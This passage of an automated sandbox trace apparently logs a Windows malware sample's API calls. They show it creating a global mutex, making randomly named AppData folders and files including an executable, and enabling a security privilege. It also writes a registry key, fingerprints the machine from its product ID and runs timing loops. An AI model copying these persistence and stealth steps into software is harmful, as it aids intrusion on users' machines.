ReturnLength=0x4ceefbc) returned 0 [0100.926] GetLastError () returned 0x7a [0100.926] GetTokenInformation (in: TokenHandle=0xe4, TokenInformationClass=0x19, TokenInformation=0x87c5bd0, TokenInformationLength=0x1c, ReturnLength=0x4ceefbc | out: TokenInformation=0x87c5bd0, ReturnLength=0x4ceefbc) returned 1 [0100.926] GetSidSubAuthorityCount (pSid=0x87c5be0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x87c5be1 [0100.926] GetSidSubAuthority (pSid=0x87c5be0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x87c5be8 [0100.926] CloseHandle (hObject=0xe4) returned 1 [0100.927] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77320000 [0100.927] GetProcAddress (hModule=0x77320000, lpProcName="IsWow64Process") returned 0x773291d0 [0100.927] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x4ceeff4 | out: Wow64Process=0x4ceeff4) returned 1 [0100.927] LoadLibraryA (lpLibFileName="Ws2_32.dll") returned 0x7feff7e0000 [0100.927] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ceef18 | out: lpWSAData=0x4ceef18) returned 0 [0100.930] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x2c48c8c) returned 0x87c5bd0 [0100.930] StringFromGUID2 (in: rguid=0x4cee7f8*(Data1=0xae124e3b, Data2=0xfdd1, Data3=0x1422, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x4ceeffe, cchMax=40 | out: lpsz="{AE124E3B-FDD1-1422-65D9-FE61A0417768}") returned 39 [0100.930] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=0, lpName="Global\\{AE124E3B-FDD1-1422-65D9-FE61A0417768}") returned 0x7a4 [0100.930] WaitForSingleObject (hHandle=0x7a4, dwMilliseconds=0x1388) returned 0x0 [0100.930] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x4cef5e0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0100.930] GetTickCount () returned 0x204ef [0100.930] GetTickCount () returned 0x204ef [0100.930] GetTickCount () returned 0x204ef [0100.930] GetTickCount () returned 0x204ef [0100.930] GetTickCount () returned 0x204ef [0100.930] GetTickCount () returned 0x204ef [0100.930] GetTickCount () returned 0x204ef [0100.930] GetTickCount () returned 0x204ef [0100.930] GetTickCount () returned 0x204ef [0100.930] GetTickCount () returned 0x204ef [0100.930] PathCombineW (in: pszDest=0x4ceea20, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", pszFile="Teetfo" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo" [0100.930] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\teetfo")) returned 0xffffffff [0100.930] CreateDirectoryW (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\teetfo"), lpSecurityAttributes=0x0) returned 1 [0100.935] GetCurrentThread () returned 0xfffffffffffffffe [0100.935] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x20, OpenAsSelf=0, TokenHandle=0x4cee838 | out: TokenHandle=0x4cee838*=0x4cef5e0) returned 0 [0100.935] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x4cee838 | out: TokenHandle=0x4cee838*=0x67c) returned 1 [0100.935] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeSecurityPrivilege", lpLuid=0x4cee82c | out: lpLuid=0x4cee82c*(LowPart=0x8, HighPart=0)) returned 1 [0100.935] AdjustTokenPrivileges (in: TokenHandle=0x67c, DisableAllPrivileges=0, NewState=0x4cee828*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0100.935] GetLastError () returned 0x514 [0100.935] CloseHandle (hObject=0x67c) returned 1 [0100.935] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0100.935] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4720900, lpbSaclPresent=0x4cee8e4, pSacl=0x4cee8d8, lpbSaclDefaulted=0x4cee8e0 | out: lpbSaclPresent=0x4cee8e4, pSacl=0x4cee8d8, lpbSaclDefaulted=0x4cee8e0) returned 1 [0100.935] SetNamedSecurityInfoW () returned 0x0 [0100.936] LocalFree (hMem=0x4720900) returned 0x0 [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] GetTickCount () returned 0x204ef [0100.936] PathCombineW (in: pszDest=0x4cef1c0, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo", pszFile="ugav" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav" [0100.936] PathAddExtensionW (in: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav", pszExt=".ocv" | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.ocv") returned 1 [0100.937] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.ocv" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\teetfo\\ugav.ocv")) returned 0xffffffff [0100.937] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\ugav.ocv" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\teetfo\\ugav.ocv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x2c72b60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c [0100.937] CloseHandle (hObject=0x67c) returned 1 [0100.937] GetTickCount () returned 0x204ef [0100.937] GetTickCount () returned 0x204ef [0100.937] GetTickCount () returned 0x204ef [0100.937] GetTickCount () returned 0x204ef [0100.937] GetTickCount () returned 0x204ef [0100.937] GetTickCount () returned 0x204ef [0100.937] GetTickCount () returned 0x204ef [0100.937] GetTickCount () returned 0x204ef [0100.937] GetTickCount () returned 0x204ef [0100.937] PathCombineW (in: pszDest=0x4ceea20, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", pszFile="Byheq" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq" [0100.937] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\byheq")) returned 0xffffffff [0100.937] CreateDirectoryW (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\byheq"), lpSecurityAttributes=0x0) returned 1 [0100.938] GetCurrentThread () returned 0xfffffffffffffffe [0100.938] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x20, OpenAsSelf=0, TokenHandle=0x4cee838 | out: TokenHandle=0x4cee838*=0x4cef5e0) returned 0 [0100.938] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x4cee838 | out: TokenHandle=0x4cee838*=0x67c) returned 1 [0100.938] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeSecurityPrivilege", lpLuid=0x4cee82c | out: lpLuid=0x4cee82c*(LowPart=0x8, HighPart=0)) returned 1 [0100.938] AdjustTokenPrivileges (in: TokenHandle=0x67c, DisableAllPrivileges=0, NewState=0x4cee828*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0100.938] GetLastError () returned 0x514 [0100.938] CloseHandle (hObject=0x67c) returned 1 [0100.938] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0100.938] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4720900, lpbSaclPresent=0x4cee8e4, pSacl=0x4cee8d8, lpbSaclDefaulted=0x4cee8e0 | out: lpbSaclPresent=0x4cee8e4, pSacl=0x4cee8d8, lpbSaclDefaulted=0x4cee8e0) returned 1 [0100.938] SetNamedSecurityInfoW () returned 0x0 [0100.939] LocalFree (hMem=0x4720900) returned 0x0 [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] GetTickCount () returned 0x204ef [0100.939] PathCombineW (in: pszDest=0x4ceefb0, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq", pszFile="hybe" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe" [0100.939] PathAddExtensionW (in: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe", pszExt=".ifi" | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi") returned 1 [0100.939] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\byheq\\hybe.ifi")) returned 0xffffffff [0100.939] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\byheq\\hybe.ifi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x2c72b60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c [0100.939] CloseHandle (hObject=0x67c) returned 1 [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] PathCombineW (in: pszDest=0x4ceea20, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", pszFile="Utobyg" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg" [0100.940] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\utobyg")) returned 0xffffffff [0100.940] CreateDirectoryW (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\utobyg"), lpSecurityAttributes=0x0) returned 1 [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] GetTickCount () returned 0x204ff [0100.940] PathCombineW (in: pszDest=0x4cef3d0, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg", pszFile="aslim" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\aslim") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\aslim" [0100.940] PathAddExtensionW (in: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\aslim", pszExt=".exe" | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\aslim.exe") returned 1 [0100.940] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\aslim.exe" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\utobyg\\aslim.exe")) returned 0xffffffff [0100.940] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\aslim.exe" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\utobyg\\aslim.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c [0100.941] CloseHandle (hObject=0x67c) returned 1 [0100.941] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x4, lpSecurityAttributes=0x0, phkResult=0x4ceec38, lpdwDisposition=0x0 | out: phkResult=0x4ceec38*=0x67c, lpdwDisposition=0x0) returned 0x0 [0100.941] GetTickCount () returned 0x204ff [0100.941] GetTickCount () returned 0x204ff [0100.941] GetTickCount () returned 0x204ff [0100.941] GetTickCount () returned 0x204ff [0100.941] GetTickCount () returned 0x204ff [0100.941] GetTickCount () returned 0x204ff [0100.941] GetTickCount () returned 0x204ff [0100.941] RegCreateKeyExW (in: hKey=0x67c, lpSubKey="Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x3, lpSecurityAttributes=0x0, phkResult=0x4ceec28, lpdwDisposition=0x4ceec34 | out: phkResult=0x4ceec28*=0xa30, lpdwDisposition=0x4ceec34*=0x1) returned 0x0 [0100.941] RegCloseKey (hKey=0xa30) returned 0x0 [0100.941] RegCloseKey (hKey=0x67c) returned 0x0 [0100.941] GetComputerNameW (in: lpBuffer=0x4ceebd0, nSize=0x4ceebc4 | out: lpBuffer="AUFDDCNTXWT", nSize=0x4ceebc4) returned 1 [0100.941] GetVersionExW (in: lpVersionInformation=0x4ceeaa8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x4ceeaa8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0100.941] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x1, phkResult=0x4cee8e8 | out: phkResult=0x4cee8e8*=0x67c) returned 0x0 [0100.941] RegQueryValueExW (in: hKey=0x67c, lpValueName="InstallDate", lpReserved=0x0, lpType=0x4cee974, lpData=0x4cee978, lpcbData=0x4cee8f0*=0x4 | out: lpType=0x4cee974*=0x4, lpData=0x4cee978*=0x594cdf02, lpcbData=0x4cee8f0*=0x4) returned 0x0 [0100.941] RegCloseKey (hKey=0x67c) returned 0x0 [0100.941] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x1, phkResult=0x4cee8d0 | out: phkResult=0x4cee8d0*=0x67c) returned 0x0 [0100.941] RegQueryValueExW (in: hKey=0x67c, lpValueName="DigitalProductId", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x4cee8cc*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x4cee8cc*=0xa4) returned 0x0 [0100.941] RegQueryValueExW (in: hKey=0x67c, lpValueName="DigitalProductId", lpReserved=0x0, lpType=0x0, lpData=0x28f460, lpcbData=0x4cee8cc*=0xa4 | out: lpType=0x0, lpData=0x28f460*=0xa4, lpcbData=0x4cee8cc*=0xa4) returned 0x0 [0100.941] RegCloseKey (hKey=0x67c) returned 0x0 [0100.941] wvnsprintfW (in: pszDest=0x4ceed14, cchDest=60, pszFmt="%s_%08X%08X", arglist=0x4cee9a8 | out: pszDest="AUFDDCNTXWT_1F3D59E9E9AEECF6") returned 28 [0100.941] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x4ceea00 | out: pszPath="C:\\Windows") returned 0x0 [0100.941] PathAddBackslashW (in: pszPath="C:\\Windows" | out: pszPath="C:\\Windows\\") returned="" [0100.941] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\Windows\\", lpszVolumeName=0x4cee7f0, cchBufferLength=0x104 | out: lpszVolumeName="") returned 0 [0100.942] PathRemoveBackslashW (in: pszPath="C:\\Windows\\" | out: pszPath="C:\\Windows") returned="" [0100.942] PathRemoveFileSpecW (in: pszPath="C:\\Windows" | out: pszPath="C:\\") returned 1 [0100.942] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0100.942] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x4cee7f0, cchBufferLength=0x104 | out: lpszVolumeName="\\\\?\\Volume{4180b822-5856-11e7-8b2d-806e6f6e6963}\\") returned 1 [0100.942] CLSIDFromString (in: lpsz="{4180b822-5856-11e7-8b2d-806e6f6e6963}", pclsid=0x4ceed04 | out: pclsid=0x4ceed04*(Data1=0x4180b822, Data2=0x5856, Data3=0x11e7, Data4=([0]=0x8b, [1]=0x2d, [2]=0x80, [3]=0x6e, [4]=0x6f, [5]=0x6e, [6]=0x69, [7]=0x63))) returned 0x0 [0100.942] GetTickCount () returned 0x204ff [0100.942] Sleep (dwMilliseconds=0x14) [0100.971] GetTickCount () returned 0x2051e [0100.971] Sleep (dwMilliseconds=0x14) [0101.002] GetTickCount () returned 0x2053d [0101.002] Sleep (dwMilliseconds=0x14) [0101.033] GetTickCount () returned 0x2055c [0101.033] Sleep (dwMilliseconds=0x14) [0101.064] GetTickCount () returned 0x2057c [0101.064] Sleep (dwMilliseconds=0x14) [0101.096] GetTickCount () returned 0x2059b [0101.096] Sleep (dwMilliseconds=0x14) [0101.127] GetTickCount () returned 0x205ba [0101.127] Sleep (dwMilliseconds=0x14) [0101.158] GetTickCount () returned 0x205d9 [0101.158] Sleep (dwMilliseconds=0x14) [0101.189] GetTickCount () returned 0x205f8 [0101.189] Sleep (dwMilliseconds=0x14) [0101.220] GetTickCount () returned 0x20618 [0101.220] Sleep (dwMilliseconds=0x14) [0101.252] GetTickCount () returned 0x20637 [0101.252] Sleep (dwMilliseconds=0x14) [0101.283] GetTickCount () returned 0x20656 [0101.283] Sleep (dwMilliseconds=0x14) [0101.314] GetTickCount () returned 0x20675 [0101.314] Sleep (dwMilliseconds=0x14) [0101.346] GetTickCount () returned 0x20694 [0101.346] Sleep (dwMilliseconds=0x14) [0101.376] GetTickCount () returned 0x206b4 [0101.376] Sleep (dwMilliseconds=0x14) [0101.408] GetTickCount () returned 0x206d3 [0101.408] Sleep (dwMilliseconds=0x14) [0101.440] GetTickCount () returned 0x206f2 [0101.440] Sleep (dwMilliseconds=0x14) [0101.470] GetTickCount () returned 0x20711 [0101.470] Sleep (dwMilliseconds=0x14) [0101.501] GetTickCount () returned 0x20730 [0101.501] Sleep (dwMilliseconds=0x14) [0101.533] GetTickCount () returned 0x20750 [0101.533] Sleep (dwMilliseconds=0x14) [0101.564] GetTickCount () returned 0x2076f [0101.564] Sleep (dwMilliseconds=0x14) [0101.595] GetTickCount () returned 0x2078e [0101.595] Sleep (dwMilliseconds=0x14) [0101.626] GetTickCount () returned 0x207ad [0101.626] Sleep (dwMilliseconds=0x14) [0101.658] GetTickCount () returned 0x207cc [0101.658] Sleep (dwMilliseconds=0x14) [0101.688] GetTickCount () returned 0x207ec [0101.688] Sleep (dwMilliseconds=0x14) [0101.720] GetTickCount () returned 0x2080b [0101.720] Sleep (dwMilliseconds=0x14) [0101.751] GetTickCount () returned 0x2082a [0101.751] Sleep (dwMilliseconds=0x14) [0101.782] GetTickCount () returned 0x20849 [0101.782] Sleep (dwMilliseconds=0x14) [0101.813] GetTickCount () returned 0x20868 [0101.813] Sleep (dwMilliseconds=0x14) [0101.844] GetTickCount () returned 0x20888 [0101.844] Sleep (dwMilliseconds=0x14) [0101.876] GetTickCount () returned 0x208a7 [0101.876] Sleep (dwMilliseconds=0x14) [0101.907] GetTickCount () returned 0x208c6 [0101.907] Sleep (dwMilliseconds=0x14) [0101.938] GetTickCount () returned 0x208e5 [0101.938] Sleep (dwMilliseconds=0x14) [0101.969] GetTickCount () returned 0x20904 [0101.970] Sleep (dwMilliseconds=0x14) [0102.002] GetTickCount () returned 0x20924 [0102.002] Sleep (dwMilliseconds=0x14) [0102.032] GetTickCount () returned 0x20943 [0102.032] Sleep (dwMilliseconds=0x14) [0102.063] GetTickCount () returned 0x20962 [0102.063] Sleep (dwMilliseconds=0x14) [0102.094] GetTickCount () returned 0x20981 [0102.094] Sleep (dwMilliseconds=0x14) [0102.125] GetTickCount () returned 0x209a0 [0102.125] Sleep (dwMilliseconds=0x14) [0102.156] GetTickCount () returned 0x209c0 [0102.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Utobyg\\aslim.exe", cchWideChar=16, lpMultiByteStr=0x4ceef24, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Utobyg\\aslim.exe", lpUsedDefaultChar=0x0) returned 16 [0102.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Teetfo\\ugav.ocv", cchWideChar=15, lpMultiByteStr=0x4ceef4c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Teetfo\\ugav.ocv", lpUsedDefaultChar=0x0) returned 15 [0102.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Byheq\\hybe.ifi", cchWideChar=14, lpMultiByteStr=0x4ceef38, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Byheq\\hybe.ifi", lpUsedDefaultChar=0x0) returned 14 [0102.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Seto", cchWideChar=4, lpMultiByteStr=0x4ceef60, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Seto", lpUsedDefaultChar=0x0) returned 4 [0102.156] GetTickCount () returned 0x209c0 [0102.156] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Xayqzo", cchWideChar=6, lpMultiByteStr=0x4ceef6a, cbMultiByte=257, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Xayqzo", lpUsedDefaultChar=0x0) returned 6 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Yqlozyzuz", cchWideChar=9, lpMultiByteStr=0x4ceef74, cbMultiByte=257, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Yqlozyzuz", lpUsedDefaultChar=0x0) returned 9 [0102.157] lstrcmpiA (lpString1="Xayqzo", lpString2="Yqlozyzuz") returned -1 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wyegfuceg", cchWideChar=9, lpMultiByteStr=0x4ceef7e, cbMultiByte=257, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wyegfuceg", lpUsedDefaultChar=0x0) returned 9 [0102.157] lstrcmpiA (lpString1="Xayqzo", lpString2="Wyegfuceg") returned 1 [0102.157] lstrcmpiA (lpString1="Yqlozyzuz", lpString2="Wyegfuceg") returned 1 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.157] GetTickCount () returned 0x209c0 [0102.273] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\byheq\\hybe.ifi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c [0102.273] WriteFile (in: hFile=0x67c, lpBuffer=0x97a0040*, nNumberOfBytesToWrite=0xcccdc4, lpNumberOfBytesWritten=0x4ceeab4, lpOverlapped=0x0 | out: lpBuffer=0x97a0040*, lpNumberOfBytesWritten=0x4ceeab4*=0xcccdc4, lpOverlapped=0x0) returned 1 [0102.407] CloseHandle (hObject=0x67c) returned 1 [0102.568] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\bn649b.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0102.568] GetFileSizeEx (in: hFile=0x67c, lpFileSize=0x4ceeb80 | out: lpFileSize=0x4ceeb80*=180224) returned 1 [0102.568] CloseHandle (hObject=0x67c) returned 1 [0102.569] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\bn649b.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0102.569] ReadFile (in: hFile=0x67c, lpBuffer=0x8832860, nNumberOfBytesToRead=0x2c000, lpNumberOfBytesRead=0x4ceebb4, 